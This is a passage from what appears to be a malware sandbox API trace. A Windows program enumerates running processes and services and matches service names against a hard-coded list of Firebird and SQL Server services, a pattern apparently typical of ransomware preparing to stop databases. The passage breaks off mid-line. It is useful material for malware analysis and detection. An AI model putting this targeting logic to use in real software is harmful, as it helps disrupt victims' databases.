Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.494] lstrlenW (lpString="taskhostw.exe") returned 13 [0291.494] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0291.495] lstrlenW (lpString="msoia.exe") returned 9 [0291.495] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.496] lstrlenW (lpString="explorer.exe") returned 12 [0291.496] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.497] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0291.497] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.497] lstrlenW (lpString="SearchUI.exe") returned 12 [0291.497] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.499] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0291.499] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.500] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0291.500] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0291.500] lstrlenW (lpString="chrome64b.exe") returned 13 [0291.500] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0291.501] lstrlenW (lpString="dllhost.exe") returned 11 [0291.501] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0291.502] lstrlenW (lpString="chrome64b.exe") returned 13 [0291.502] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0291.502] lstrlenW (lpString="cmd.exe") returned 7 [0291.502] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0291.503] lstrlenW (lpString="conhost.exe") returned 11 [0291.503] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0291.542] CloseHandle (hObject=0x44c) returned 1 [0291.542] Sleep (dwMilliseconds=0x1f4) [0292.205] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699f78 [0292.206] EnumServicesStatusExW (in: hSCManager=0x699f78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0292.207] GetLastError () returned 0xea [0292.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x460c0e0 [0292.207] EnumServicesStatusExW (in: hSCManager=0x699f78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x460c0e0, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x460c0e0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0292.208] CloseServiceHandle (hSCObject=0x699f78) returned 1 [0292.208] lstrlenW (lpString="Appinfo") returned 7 [0292.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0292.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0292.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0292.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0292.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0292.208] lstrlenW (lpString="AppXSvc") returned 7 [0292.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0292.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0292.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0292.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0292.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0292.208] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0292.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0292.209] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0292.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0292.209] lstrlenW (lpString="Audiosrv") returned 8 [0292.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0292.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0292.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0292.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0292.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0292.209] lstrlenW (lpString="BFE") returned 3 [0292.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0292.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0292.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0292.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0292.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0292.209] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0292.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0292.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0292.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0292.209] lstrlenW (lpString="CDPSvc") returned 6 [0292.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0292.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0292.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0292.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0292.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0292.210] lstrlenW (lpString="ClickToRunSvc") returned 13 [0292.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.210] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0292.210] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0292.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0292.210] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0292.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.210] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0292.210] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0292.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0292.210] lstrlenW (lpString="CryptSvc") returned 8 [0292.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0292.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0292.210] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0292.210] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0292.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0292.210] lstrlenW (lpString="DcomLaunch") returned 10 [0292.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0292.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0292.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0292.211] lstrlenW (lpString="DeviceAssociationService") returned 24 [0292.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.211] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0292.211] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0292.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0292.211] lstrlenW (lpString="Dhcp") returned 4 [0292.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0292.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0292.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0292.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0292.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0292.211] lstrlenW (lpString="Dnscache") returned 8 [0292.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0292.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0292.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0292.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0292.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0292.211] lstrlenW (lpString="DPS") returned 3 [0292.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0292.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0292.211] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0292.211] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0292.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0292.212] lstrlenW (lpString="DusmSvc") returned 7 [0292.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0292.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0292.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0292.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0292.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0292.212] lstrlenW (lpString="EventLog") returned 8 [0292.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0292.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0292.212] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0292.212] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0292.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0292.212] lstrlenW (lpString="EventSystem") returned 11 [0292.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0292.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0292.212] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0292.212] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0292.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0292.212] lstrlenW (lpString="FontCache") returned 9 [0292.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0292.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0292.212] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0292.212] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0292.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0292.213] lstrlenW (lpString="gpsvc") returned 5 [0292.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0292.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0292.213] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0292.213] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0292.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0292.213] lstrlenW (lpString="iphlpsvc") returned 8 [0292.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.213] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0292.213] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0292.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0292.213] lstrlenW (lpString="KeyIso") returned 6 [0292.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0292.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0292.213] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0292.213] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0292.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0292.213] lstrlenW (lpString="LanmanServer") returned 12 [0292.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0292.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0292.213] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0292.213] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0292.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0292.214] lstrlenW (lpString="LanmanWorkstation") returned 17 [0292.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0292.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0292.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0292.214] lstrlenW (lpString="lfsvc") returned 5 [0292.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0292.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0292.214] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0292.214] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0292.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0292.214] lstrlenW (lpString="lmhosts") returned 7 [0292.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0292.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0292.214] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0292.214] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0292.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0292.214] lstrlenW (lpString="LSM") returned 3 [0292.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0292.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0292.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0292.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0292.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0292.215] lstrlenW (lpString="MpsSvc") returned 6 [0292.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0292.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0292.215] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0292.215] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0292.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0292.215] lstrlenW (lpString="NcbService") returned 10 [0292.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0292.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0292.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0292.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0292.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0292.215] lstrlenW (lpString="netprofm") returned 8 [0292.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0292.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0292.215] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0292.215] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0292.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0292.215] lstrlenW (lpString="NgcSvc") returned 6 [0292.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0292.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0292.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0292.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0292.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0292.216] lstrlenW (lpString="NlaSvc") returned 6 [0292.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0292.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0292.216] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0292.216] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0292.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0292.216] lstrlenW (lpString="nsi") returned 3 [0292.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0292.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0292.216] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0292.216] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0292.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0292.216] lstrlenW (lpString="PcaSvc") returned 6 [0292.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0292.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0292.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0292.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0292.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0292.216] lstrlenW (lpString="PlugPlay") returned 8 [0292.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0292.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0292.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0292.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0292.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0292.216] lstrlenW (lpString="Power") returned 5 [0292.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0292.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0292.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0292.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0292.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0292.217] lstrlenW (lpString="ProfSvc") returned 7 [0292.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0292.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0292.217] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0292.217] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0292.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0292.217] lstrlenW (lpString="RpcEptMapper") returned 12 [0292.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0292.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0292.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0292.217] lstrlenW (lpString="RpcSs") returned 5 [0292.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0292.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0292.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0292.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0292.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0292.217] lstrlenW (lpString="SamSs") returned 5 [0292.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0292.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0292.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0292.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0292.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0292.218] lstrlenW (lpString="Schedule") returned 8 [0292.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0292.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0292.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0292.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0292.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0292.218] lstrlenW (lpString="SecurityHealthService") returned 21 [0292.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0292.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0292.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0292.218] lstrlenW (lpString="SENS") returned 4 [0292.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0292.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0292.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0292.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0292.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0292.218] lstrlenW (lpString="ShellHWDetection") returned 16 [0292.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 